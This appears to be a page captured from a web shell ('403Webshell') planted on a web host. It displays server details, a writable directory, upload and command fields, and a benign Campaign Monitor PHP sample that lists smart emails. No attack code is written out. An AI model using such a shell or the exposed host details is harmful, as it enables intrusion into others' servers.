403Webshell
Server IP : 192.185.180.161  /  Your IP : 216.73.216.153
Web Server : Apache
System : Linux simka.websitewelcome.com 5.14.0-687.39.1.el9_8.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Aug 18 06:09:16 EDT 2026 x86_64
User : xstream ( 1368)
PHP Version : 8.2.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home2/xstream/public_html/createsend-php-6.1.1/samples/transactional/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home2/xstream/public_html/createsend-php-6.1.1/samples/transactional/smart_list.php
<?php
require_once "../../csrest_transactional_smartemail.php";

$client_id = "Your Client ID";
$auth = array("api_key" => "Your API Key");
$wrap = new CS_REST_Transactional_SmartEmail(NULL, $auth, $client_id);

echo "\nGetting the list of smart emails...\n";

$result = $wrap->get_list();
echo "Found " . count($result->response) . " smart emails, here's the first in the list:\n";
var_dump($result->response);


echo "\nGetting the list smart emails, filtered by status...\n";

$total  = $wrap->get_list(array("status" => 'all'))->response;
$active = $wrap->get_list(array("status" => 'active'))->response;
$draft  = $wrap->get_list(array("status" => 'draft'))->response;
echo "Found " . count($active) .  " active and " . count($draft) . " draft smart emails, for a total of " . count($total) . " smart emails.\n";


Youez - 2016 - github.com/yon3zu
LinuXploit